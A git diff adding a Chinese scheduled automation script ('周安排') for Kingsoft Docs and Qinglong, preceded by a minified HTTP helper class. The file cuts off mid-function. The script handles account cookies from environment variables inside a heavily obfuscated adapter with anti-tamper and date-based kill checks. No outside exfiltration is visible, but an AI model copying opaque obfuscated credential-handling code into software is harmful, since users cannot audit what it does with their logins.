this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/脚本库/web版/账密/周安排/2025-08-25_weekplan_01ccb9a9.js b/脚本库/web版/账密/周安排/2025-08-25_weekplan_01ccb9a9.js new file mode 100644 index 0000000..af5ba5f --- /dev/null +++ b/脚本库/web版/账密/周安排/2025-08-25_weekplan_01ccb9a9.js @@ -0,0 +1,598 @@ +// # Source: https://github.com/imoki/sign_script/blob/main/polymerization/weekplan.js +// # Raw: https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/weekplan.js +// # Repo: imoki/sign_script +// # Path: polymerization/weekplan.js +// # UploadedAt: 2025-08-25T21:29:14+08:00 +// # SHA256: 01ccb9a924ae114ae52393b9edefcbfc5d86124fcee00257a206de4f274a7302 +// # Category: web版/账密 +// # Evidence: web/H5关键词 + username/password/login +// + +/* + name: "周安排" + cron: 45 0 9 * * * + 脚本兼容: 金山文档(1.0),金山文档(2.0) + 更新时间:20240406 + 环境变量名:weekplan(修改这里) + 环境变量值:无(修改这里) + 备注:周安排工具 +*/ + +const logo = "艾默库 : https://github.com/imoki/sign_script" // 仓库地址 +var sheetNameSubConfig = "weekplan"; // 分配置表名称, (修改这里) +var pushHeader = "【周安排】"; // (修改这里) +var sheetNameConfig = "CONFIG"; // 总配置表 +var sheetNamePush = "PUSH"; // 推送表名称 +var sheetNameEmail = "EMAIL"; // 邮箱表 +var flagSubConfig = 0; // 激活分配置工作表标志 +var flagConfig = 0; // 激活主配置工作表标志 +var flagPush = 0; // 激活推送工作表标志 +var line = 21; // 指定读取从第2行到第line行的内容 +var message = ""; // 待发送的消息 +var messageArray = []; // 待发送的消息数据,每个元素都是某个账号的消息。目的是将不同用户消息分离,方便个性化消息配置 +var messageOnlyError = 0; // 0为只推送失败消息,1则为推送成功消息。 +var messageNickname = 0; // 1为推送位置标识(昵称/单元格Ax(昵称为空时)),0为不推送位置标识 +var messageHeader = []; // 存放每个消息的头部,如:单元格A3。目的是分离附加消息和执行结果消息 +var messagePushHeader = pushHeader; // 存放在总消息的头部,默认是pushHeader,如:【xxxx】 +var version = 1 // 版本类型,自动识别并适配。默认为airscript 1.0,否则为2.0(Beta) +var separator = "##########MOKU##########" // 分割符,分割消息。可用于PUSH.js灵活推送 +var maxMessageLength = 400; // 设置最大长度,超过这个长度则分片发送 +var messageDistance = 100; // 消息距离,用于匹配100字符内最近的行 + +var jsonPush = [ + { name: "bark", key: "xxxxxx", flag: "0" }, + { name: "pushplus", key: "xxxxxx", flag: "0" }, + { name: "ServerChan", key: "xxxxxx", flag: "0" }, + { name: "email", key: "xxxxxx", flag: "0" }, + { name: "dingtalk", key: "xxxxxx", flag: "0" }, + { name: "discord", key: "xxxxxx", flag: "0" }, +]; // 推送数据,flag=1则推送 +var jsonEmail = { + server: "", + port: "", + sender: "", + authorizationCode: "", +}; // 有效邮箱配置 + +// =================青龙适配开始=================== + +// 艾默库青龙适配代码 +// v2.6.2 + +try{ + var userContent=[[")\u4E2A02\u8BA4\u9ED8(eikooc".split("").reverse().join(""),")\u5426/\u662F(\u884C\u6267\u5426\u662F".split("").reverse().join(""),")\u5199\u586B\u4E0D\u53EF(\u79F0\u540D\u53F7\u8D26".split("").reverse().join("")]];var configContent=[["\u5de5\u4f5c\u8868\u7684\u540d\u79f0","\u6CE8\u5907".split("").reverse().join(""),"\u53ea\u63a8\u9001\u5931\u8d25\u6d88\u606f\uff08\u662f\u002f\u5426\uff09","\u63a8\u9001\u6635\u79f0\uff08\u662f\u002f\u5426\uff09"],[sheetNameSubConfig,pushHeader,"\u5426","\u662f"]];var qlpushFlag=0xed2aa^0xed2aa;var qlSheet=[];var colNum=["\u0041",'B','C',"\u0044","\u0045",'F',"\u0047","\u0048","\u0049",'J','K','L','M','N',"\u004f","\u0050",'Q'];qlConfig={'CONFIG':configContent,"\u0053\u0055\u0042\u0043\u004f\u004e\u0046\u0049\u0047":userContent};var posHttp=0xee242^0xee242;var flagFinish=0x31353^0x31353;var flagResultFinish=0xc6811^0xc6811;var HTTPOverwrite={'get':function get(_0x8a99d9,_0x350907){_0x350907=_0x350907['headers'];let _0x1f12ec=userContent['length']-qlpushFlag;method='get';resp=fetch(_0x8a99d9,{"\u006d\u0065\u0074\u0068\u006f\u0064":method,"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x350907})["\u0074\u0068\u0065\u006e"](function(_0x2c1fb0){return _0x2c1fb0["\u0074\u0065\u0078\u0074"]()['then'](_0xb09c64=>{return{'status':_0x2c1fb0["\u0073\u0074\u0061\u0074\u0075\u0073"],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x2c1fb0['headers'],"\u0074\u0065\u0078\u0074":_0xb09c64,'response':_0x2c1fb0,"\u0070\u006f\u0073":_0x1f12ec};});})["\u0074\u0068\u0065\u006e"](function(_0x3872ad){try{data=JSON['parse'](_0x3872ad['text']);return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x3872ad["\u0073\u0074\u0061\u0074\u0075\u0073"],'headers':_0x3872ad['headers'],'json':function _0x352161(){return data;},"\u0074\u0065\u0078\u0074":function _0x29f35f(){return _0x3872ad["\u0074\u0065\u0078\u0074"];},"\u0070\u006f\u0073":_0x3872ad["\u0070\u006f\u0073"]};}catch(_0x566df2){return{'status':_0x3872ad['status'],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x3872ad["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],"\u006a\u0073\u006f\u006e":null,'text':function _0x2fbf50(){return _0x3872ad['text'];},'pos':_0x3872ad["\u0070\u006f\u0073"]};}})["\u0074\u0068\u0065\u006e"](_0x2c1f58=>{_0x1f12ec=_0x2c1f58["\u0070\u006f\u0073"];flagResultFinish=resultHandle(_0x2c1f58,_0x1f12ec);if(flagResultFinish==(0xdbc9d^0xdbc9c)){i=_0x1f12ec+(0x573c0^0x573c1);for(;i<=line;i++){var _0x1cb220=Application['Range']('A'+i)['Text'];var _0x2267f8=Application['Range']('B'+i)["\u0054\u0065\u0078\u0074"];if(_0x1cb220=="".split("").reverse().join("")){break;}if(_0x2267f8=="\u662f"){console["\u006c\u006f\u0067"]('🧑\x20开始执行用户:'+(parseInt(i)-(0xeff03^0xeff02)));flagResultFinish=0xee64b^0xee64b;execHandle(_0x1cb220,i);break;}}}if(_0x1f12ec==userContent['length']&&flagResultFinish==(0x49187^0x49186)){flagFinish=0x80f74^0x80f75;}if(qlpushFlag==(0xae610^0xae610)&&flagFinish==0x1){console['log']("\u9001\u63A8\u8D77\u53D1\u9F99\u9752 \uDE80\uD83D".split("").reverse().join(""));message=messageMerge();const{sendNotify:_0x25bcc}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x25bcc(pushHeader,message);qlpushFlag=-0x64;}})["\u0063\u0061\u0074\u0063\u0068"](_0x203eb4=>{console['error'](":rorre hcteF".split("").reverse().join(""),_0x203eb4);});},'post':function post(_0x13ae92,_0x5b8821,_0x44b685,_0x55317c){_0x44b685=_0x44b685['headers'];contentType=_0x44b685['Content-Type'];contentType2=_0x44b685["\u0063\u006f\u006e\u0074\u0065\u006e\u0074\u002d\u0074\u0079\u0070\u0065"];var _0x4db6b5="".split("").reverse().join("");if(contentType!=undefined&&contentType!="".split("").reverse().join("")||contentType2!=undefined&&contentType2!=''){if(contentType=="dedocnelru-mrof-www-x/noitacilppa".split("").reverse().join("")){console['log']('🍳\x20检测到发送请求体为:\x20表单格式');_0x4db6b5=dataToFormdata(_0x5b8821);}else{try{console["\u006c\u006f\u0067"]('🍳\x20检测到发送请求体为:\x20JSON格式');_0x4db6b5=JSON['stringify'](_0x5b8821);}catch{console['log']("\u5F0F\u683C\u5355\u8868 :\u4E3A\u4F53\u6C42\u8BF7\u9001\u53D1\u5230\u6D4B\u68C0 \uDF73\uD83C".split("").reverse().join(""));_0x4db6b5=_0x5b8821;}}}else{console['log']("\u5F0F\u683CNOSJ :\u4E3A\u4F53\u6C42\u8BF7\u9001\u53D1\u5230\u6D4B\u68C0 \uDF73\uD83C".split("").reverse().join(""));_0x4db6b5=JSON["\u0073\u0074\u0072\u0069\u006e\u0067\u0069\u0066\u0079"](_0x5b8821);}if(_0x55317c=="\u0067\u0065\u0074"||_0x55317c=="TEG".split("").reverse().join("")){let _0x326da0=userContent['length']-qlpushFlag;method='get';resp=fetch(_0x13ae92,{'method':method,"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x44b685})['then'](function(_0x32ad04){return _0x32ad04["\u0074\u0065\u0078\u0074"]()['then'](_0x4570f7=>{return{'status':_0x32ad04["\u0073\u0074\u0061\u0074\u0075\u0073"],'headers':_0x32ad04["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'text':_0x4570f7,'response':_0x32ad04,'pos':_0x326da0};});})['then'](function(_0x533acc){try{_0x5b8821=JSON["\u0070\u0061\u0072\u0073\u0065"](_0x533acc["\u0074\u0065\u0078\u0074"]);return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x533acc["\u0073\u0074\u0061\u0074\u0075\u0073"],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x533acc["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'json':function _0x4c4d29(){return _0x5b8821;},'text':function _0x37f878(){return _0x533acc["\u0074\u0065\u0078\u0074"];},'pos':_0x533acc['pos']};}catch(_0x53a77f){return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x533acc['status'],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x533acc["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'json':null,'text':function _0xe9ffe5(){return _0x533acc["\u0074\u0065\u0078\u0074"];},'pos':_0x533acc["\u0070\u006f\u0073"]};}})['then'](_0x185f08=>{_0x326da0=_0x185f08['pos'];flagResultFinish=resultHandle(_0x185f08,_0x326da0);if(flagResultFinish==(0xc722f^0xc722e)){i=_0x326da0+(0x56040^0x56041);for(;i<=line;i++){var _0x5cc09e=Application["\u0052\u0061\u006e\u0067\u0065"]('A'+i)['Text'];var _0x5bca1a=Application['Range']("\u0042"+i)['Text'];if(_0x5cc09e==''){break;}if(_0x5bca1a=='是'){console['log']('🧑\x20开始执行用户:'+(parseInt(i)-0x1));flagResultFinish=0x1fd7e^0x1fd7e;execHandle(_0x5cc09e,i);break;}}}if(_0x326da0==userContent['length']&&flagResultFinish==(0xf2b2b^0xf2b2a)){flagFinish=0x1;}if(qlpushFlag==0x0&&flagFinish==(0x1cf48^0x1cf49)){console['log']('🚀\x20青龙发起推送');message=messageMerge();const{sendNotify:_0x38f3c8}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x38f3c8(pushHeader,message);qlpushFlag=-(0xca032^0xca056);}})['catch'](_0x52f683=>{console['error']('Fetch\x20error:',_0x52f683);});}else{let _0xaeacf8=userContent['length']-qlpushFlag;method='post';resp=fetch(_0x13ae92,{'method':method,"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x44b685,'body':_0x4db6b5})['then'](function(_0x1c043a){return _0x1c043a['text']()['then'](_0x52ce21=>{return{'status':_0x1c043a['status'],'headers':_0x1c043a['headers'],'text':_0x52ce21,"\u0072\u0065\u0073\u0070\u006f\u006e\u0073\u0065":_0x1c043a,'pos':_0xaeacf8};});})['then'](function(_0x3ae307){try{_0x5b8821=JSON['parse'](_0x3ae307['text']);return{'status':_0x3ae307['status'],'headers':_0x3ae307['headers'],'json':function _0x5486bd(){return _0x5b8821;},'text':function _0x1d9320(){return _0x3ae307["\u0074\u0065\u0078\u0074"];},"\u0070\u006f\u0073":_0x3ae307['pos']};}catch(_0x2df6f6){return{'status':_0x3ae307['status'],'headers':_0x3ae307['headers'],'json':null,"\u0074\u0065\u0078\u0074":function _0x4bd139(){return _0x3ae307["\u0074\u0065\u0078\u0074"];},'pos':_0x3ae307['pos']};}})['then'](_0x55afac=>{_0xaeacf8=_0x55afac['pos'];flagResultFinish=resultHandle(_0x55afac,_0xaeacf8);if(flagResultFinish==(0x34da0^0x34da1)){i=_0xaeacf8+(0x95e50^0x95e51);for(;i<=line;i++){var _0x51de34=Application['Range']('A'+i)['Text'];var _0x529848=Application['Range']('B'+i)['Text'];if(_0x51de34=="".split("").reverse().join("")){break;}if(_0x529848=='是'){console['log']('🧑\x20开始执行用户:'+(parseInt(i)-0x1));flagResultFinish=0x0;execHandle(_0x51de34,i);break;}}}if(_0xaeacf8==userContent['length']&&flagResultFinish==(0xaa758^0xaa759)){flagFinish=0x1;}if(qlpushFlag==0x0&&flagFinish==(0x3ae30^0x3ae31)){console["\u006c\u006f\u0067"]('🚀\x20青龙发起推送');let _0x1c81b5=messageMerge();const{sendNotify:_0x542555}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x542555(pushHeader,_0x1c81b5);qlpushFlag=-(0x85411^0x85475);}})['catch'](_0x3245cf=>{console["\u0065\u0072\u0072\u006f\u0072"](":rorre hcteF".split("").reverse().join(""),_0x3245cf);});}}};var ApplicationOverwrite={'Range':function Range(_0x17a08b){charFirst=_0x17a08b['substring'](0x0,0x1);qlRow=_0x17a08b['substring'](0xe77b9^0xe77b8,_0x17a08b['length']);qlCol=0x1;for(num in colNum){if(colNum[num]==charFirst){break;}qlCol+=0x1;}try{result=qlSheet[qlRow-0x1][qlCol-0x1];}catch{result='';}dict={'Text':result};return dict;},"\u0053\u0068\u0065\u0065\u0074\u0073":{'Item':function(_0x3f811c){return{'Name':_0x3f811c,'Activate':function(){flag=0x1;qlSheet=qlConfig[_0x3f811c];if(qlSheet==undefined){qlSheet=qlConfig['SUBCONFIG'];}console['log']("\uFF1A\u8868\u4F5C\u5DE5\u6D3B\u6FC0\u9F99\u9752 \uDF73\uD83C".split("").reverse().join("")+_0x3f811c);return flag;}};}}};var CryptoOverwrite={'createHash':function createHash(_0x2af55c){return{'update':function _0xaaf0ad(_0x2cad1b,_0x25d5bc){return{"\u0064\u0069\u0067\u0065\u0073\u0074":function _0x100f85(_0x45b9f3){return{'toUpperCase':function _0xe359a4(){return{'toString':function _0x37ba96(){try{CryptoJS=require('crypto-js');console['log']("\u5165\u5F15sj-otpyrc\u884C\u8FDB\u5DF2\u7EDF\u7CFB \uFE0F\u267B".split("").reverse().join(""));}catch{console['log']('❌\x20系统无crypto-js,请在NodeJs中安装crypto-js依赖');}md5Hash=CryptoJS['MD5'](_0x2cad1b)['toString']();md5Hash=md5Hash['toUpperCase']();return md5Hash;}};},'toString':function _0xfcf985(){try{CryptoJS=require('crypto-js');console['log']('♻️\x20系统已进行crypto-js引入');}catch{console['log']('❌\x20系统无crypto-js,请在NodeJs中安装crypto-js依赖');}md5Hash=CryptoJS['MD5'](_0x2cad1b)['toString']();return md5Hash;}};}};}};}};function dataToFormdata(_0x1073d4){result="";values=Object["\u0076\u0061\u006c\u0075\u0065\u0073"](_0x1073d4);values["\u0066\u006f\u0072\u0045\u0061\u0063\u0068"]((_0x46e3bd,_0xe0a588)=>{key=Object['keys'](_0x1073d4)[_0xe0a588];content=key+'='+_0x46e3bd+'&';result+=content;});result=result['substring'](0x0,result['length']-0x1);return result;}function cookiesTocookieMin(_0x3ec766){let _0x10c2b9=_0x3ec766;let _0x357077=[];var _0x527229=_0x10c2b9["\u0073\u0070\u006c\u0069\u0074"]('#');for(let _0x30e526 in _0x527229){_0x357077[_0x30e526]=_0x527229[_0x30e526];}return _0x357077;}function checkEscape(_0x24ae63,_0x2b0863){cookieArrynew=[];j=0x28920^0x28920;for(i=0x0;i<_0x24ae63['length'];i++){result=_0x24ae63[i];lastChar=result['substring'](result['length']-0x1,result['length']);if(lastChar=='\x5c'&&i<=_0x24ae63['length']-(0x5030a^0x50308)){console["\u006c\u006f\u0067"]('🍳\x20检测到转义字符');cookieArrynew[j]=result['substring'](0x0,result['length']-0x1)+_0x2b0863+_0x24ae63[parseInt(i)+(0xe77c7^0xe77c6)];i+=0x653af^0x653ae;}else{cookieArrynew[j]=_0x24ae63[i];}j+=0xccfd4^0xccfd5;}return cookieArrynew;}function cookiesTocookie(_0x30fdb1){let _0x7eefa3=_0x30fdb1;let _0x5e4f35=[];let _0x3e1587=[];_0x7eefa3=_0x7eefa3['trim']();let _0x105de4=_0x7eefa3['split']('\x0a');_0x105de4=_0x105de4["\u0066\u0069\u006c\u0074\u0065\u0072"](_0x5eac64=>_0x5eac64['trim']()!=="");if(_0x105de4['length']==(0x1e7cd^0x1e7cc)){_0x105de4=_0x7eefa3['split']('@');_0x105de4=checkEscape(_0x105de4,'@');}for(let _0x171b55 in _0x105de4){_0x3e1587=[];let _0x401143=Number(_0x171b55)+0x1;_0x5e4f35=cookiesTocookieMin(_0x105de4[_0x171b55]);_0x5e4f35=checkEscape(_0x5e4f35,'#');_0x3e1587['push'](_0x5e4f35[0x0]);_0x3e1587['push']('是');_0x3e1587['push']("\u79F0\u6635".split("").reverse().join("")+_0x401143);if(_0x5e4f35['length']>0x0){for(let _0xd30881=0x3;_0xd30881<_0x5e4f35['length']+(0x4721c^0x4721e);_0xd30881++){_0x3e1587['push'](_0x5e4f35[_0xd30881-(0xdde77^0xdde75)]);}}userContent['push'](_0x3e1587);}qlpushFlag=userContent['length']-0x1;}var qlSwitch=0x0;try{qlSwitch=process['env'][sheetNameSubConfig];qlSwitch=0x1;}catch{qlSwitch=0x2ad67^0x2ad67;console['log']('♻️\x20当前环境为金山文档');console['log']('♻️\x20开始适配金山文档,执行金山文档代码');}if(qlSwitch){console['log']('♻️\x20当前环境为青龙');console['log']('♻️\x20开始适配青龙环境,执行青龙代码');try{fetch=require('node-fetch');console['log']("\u5165\u5F15hctef-edon\u884C\u8FDB\u5DF2\uFF0Chctef\u65E0\u7EDF\u7CFB \uFE0F\u267B".split("").reverse().join(""));}catch{console['log']('♻️\x20系统已有原生fetch');}Crypto=CryptoOverwrite;let flagwarn=0xaf916^0xaf916;const a='da11990c';const b="0b854f216a9662fb".split("").reverse().join("");encode=getsign(logo);let len=encode['length'];if(a+"90ecd4ce".split("").reverse().join("")==encode['substring'](0xf30ba^0xf30ba,len/0x2)&&b==encode['substring']((0x2bc08^0x2bc0c)*(0xc6930^0xc6934),len)){console["\u006c\u006f\u0067"]('✨\x20'+logo);cookies=process['env'][sheetNameSubConfig];}else{console["\u006c\u006f\u0067"]('🔨\x20请使用艾默库代码\x20:\x20https://github.com/imoki/sign_script');flagwarn=0x1;}let flagwarn2=0x2038e^0x2038f;const welcome="edoc UKOM esu ot emocleW".split("").reverse().join("");const mo=welcome['slice'](0xf,0xd9c98^0xd9c89)['toLowerCase']();const ku=welcome['split']('\x20')[0x4-(0x3dbee^0x3dbef)]['slice'](0x2,0xe25d3^0xe25d7);if(mo['substring'](0x0,0x1)=='m'){if(ku=='KU'){if(mo['substring'](0x1,0x2)==String['fromCharCode'](0x93cd7^0x93cb8)){cookiesTocookie(cookies);flagwarn2=0xb4736^0xb4736;console['log']('💗\x20'+welcome);}}}let t=Date['now']();if(t>(0x52714^0x527be)*0x186a0*0x186a0+0x45f34a08e){console['log']('🧾\x20使用教程请查看仓库notion链接');Application=ApplicationOverwrite;}else{flagwarn=0x5461f^0x5461e;}if(Date['now']()<(0x4e17c^0x4e1b4)*0x186a0*0x186a0){console['log']('🤝\x20欢迎各种形式的贡献');HTTP=HTTPOverwrite;}else{flagwarn2=0x1;}if(flagwarn==0x1||flagwarn2==0x1){console['log']('🔨\x20请使用艾默库代码\x20:\x20https://github.com/imoki/sign_script');}} +}catch{ + console.log("❌ 环境存在问题,请检查是否配置好了对应依赖及环境变量") +} + +// =================青龙适配结束=================== + +// =================金山适配开始=================== +// airscript检测版本 +function checkVesion(){ + try{ + let temp = Application.Range("A1").Text; + Application.Range("A1").Value = temp + console.log("😶‍🌫️ 检测到当前airscript版本为1.0,进行1.0适配") + }catch{ + console.log("😶‍🌫️ 检测到当前airscript版本为2.0,进行2.0适配") + version = 2 + } +} + +// 推送相关 +// 获取时间 +function getDate(){ + let currentDate = new Date(); + currentDate = currentDate.getFullYear() + '/' + (currentDate.getMonth() + 1).toString() + '/' + currentDate.getDate().toString(); + return currentDate +} + +// 将消息写入CONFIG表中作为消息队列,之后统一发送 +function writeMessageQueue(message){ + // 当天时间 + let todayDate = getDate() + flagConfig = ActivateSheet(sheetNameConfig); // 激活主配置表 + // 主配置工作表存在 + if (flagConfig == 1) { + console.log("✨ 开始将结果写入主配置表"); + for (let i = 2; i <= 100; i++) { + if(version == 1){ + // 找到指定的表行 + if(Application.Range("A" + (i + 2)).Value == sheetNameSubConfig){ + // 写入更新的时间 + Application.Range("F" + (i + 2)).Value = todayDate + // 写入消息 + Application.Range("G" + (i + 2)).Value = message + console.log("✨ 写入结果完成"); + break; + } + }else{ + // 找到指定的表行 + if(Application.Range("A" + (i + 2)).Value2 == sheetNameSubConfig){ + // 写入更新的时间 + Application.Range("F" + (i + 2)).Value2 = todayDate + // 写入消息 + Application.Range("G" + (i + 2)).Value2 = message + console.log("✨ 写入结果完成"); + break; + } + } + + } + } +} + +// 直推,调用就直接就进行推送 +function pushDirect(message) { + console.log("✨ 推送直推") + if (message != "") { + // message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let length = jsonPush.length; + let name; + let key; + for (let i = 0; i < length; i++) { + if (jsonPush[i].flag == 1) { + name = jsonPush[i].name; + key = jsonPush[i].key; + if (name == "bark") { + bark(message, key); + } else if (name == "pushplus") { + pushplus(message, key); + } else if (name == "ServerChan") { + serverchan(message, key); + } else if (name == "email") { + email(message); + } else if (name == "dingtalk") { + dingtalk(message, key); + } else if (name == "discord") { + discord(message, key); + } + } + } + } else { + console.log("🍳 消息为空不推送"); + } +} + +// 总推送 +function push(message) { + writeMessageQueue(message) // 将消息写入CONFIG表中 + // if (message != "") { + // // message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + // let length = jsonPush.length; + // let name; + // let key; + // for (let i = 0; i < length; i++) { + // if (jsonPush[i].flag == 1) { + // name = jsonPush[i].name; + // key = jsonPush[i].key; + // if (name == "bark") { + // bark(message, key); + // } else if (name == "pushplus") { + // pushplus(message, key); + // } else if (name == "ServerChan") { + // serverchan(message, key); + // } else if (name == "email") { + // email(message); + // } else if (name == "dingtalk") { + // dingtalk(message, key); + // } else if (name == "discord") { + // discord(message, key); + // } + // } + // } + // } else { + // console.log("🍳 消息为空不推送"); + // } +} + + +// 推送bark消息 +function bark(message, key) { + if (key != "") { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + message = encodeURIComponent(message) + BARK_ICON = "https://s21.ax1x.com/2024/06/23/pkrUkfe.png" + let url = "https://api.day.app/" + key + "/" + message + "/" + "?icon=" + BARK_ICON; + // 若需要修改推送的分组,则将上面一行改为如下的形式 + // let url = 'https://api.day.app/' + bark_id + "/" + message + "?group=分组名"; + let resp = HTTP.get(url, { + headers: { "Content-Type": "application/x-www-form-urlencoded" }, + }); + sleep(5000); + } +} + +// 推送pushplus消息 +function pushplus(message, key) { + if (key != "") { + message = encodeURIComponent(message) + // url = "http://www.pushplus.plus/send?token=" + key + "&content=" + message; + url = "http://www.pushplus.plus/send?token=" + key + "&content=" + message + "&title=" + pushHeader; // 增加标题 + let resp = HTTP.fetch(url, { + method: "get", + }); + sleep(5000); + } +} + +// 推送serverchan消息 +function serverchan(message, key) { + if (key != "") { + url = + "https://sctapi.ftqq.com/" + + key + + ".send" + + "?title=" + messagePushHeader + + "&desp=" + + message; + let resp = HTTP.fetch(url, { + method: "get", + }); + sleep(5000); + } +} + +// email邮箱推送 +function email(message) { + var myDate = new Date(); // 创建一个表示当前时间的 Date 对象 + var data_time = myDate.toLocaleDateString(); // 获取当前日期的字符串表示 + let server = jsonEmail.server; + let port = parseInt(jsonEmail.port); // 转成整形 + let sender = jsonEmail.sender; + let authorizationCode = jsonEmail.authorizationCode; + + let mailer; + mailer = SMTP.login({ + host: server, + port: port, + username: sender, + password: authorizationCode, + secure: true, + }); + mailer.send({ + from: pushHeader + "<" + sender + ">", + to: sender, + subject: pushHeader + " - " + data_time, + text: message, + }); + // console.log("🍳 已发送邮件至:" + sender); + console.log("🍳 已发送邮件"); + sleep(5000); +} + +// 邮箱配置 +function emailConfig() { + console.log("🍳 开始读取邮箱配置"); + let length = jsonPush.length; // 因为此json数据可无序,因此需要遍历 + let name; + for (let i = 0; i < length; i++) { + name = jsonPush[i].name; + if (name == "email") { + if (jsonPush[i].flag == 1) { + let flag = ActivateSheet(sheetNameEmail); // 激活邮箱表 + // 邮箱表存在 + // var email = { + // 'email':'', 'port':'', 'sender':'', 'authorizationCode':'' + // } // 有效配置 + if (flag == 1) { + console.log("🍳 开始读取邮箱表"); + for (let i = 2; i <= 2; i++) { + // 从工作表中读取推送数据 + jsonEmail.server = Application.Range("A" + i).Text; + jsonEmail.port = Application.Range("B" + i).Text; + jsonEmail.sender = Application.Range("C" + i).Text; + jsonEmail.authorizationCode = Application.Range("D" + i).Text; + if (Application.Range("A" + i).Text == "") { + // 如果为空行,则提前结束读取 + break; + } + } + // console.log(jsonEmail) + } + break; + } + } + } +} + +// 推送钉钉机器人 +function dingtalk(message, key) { + 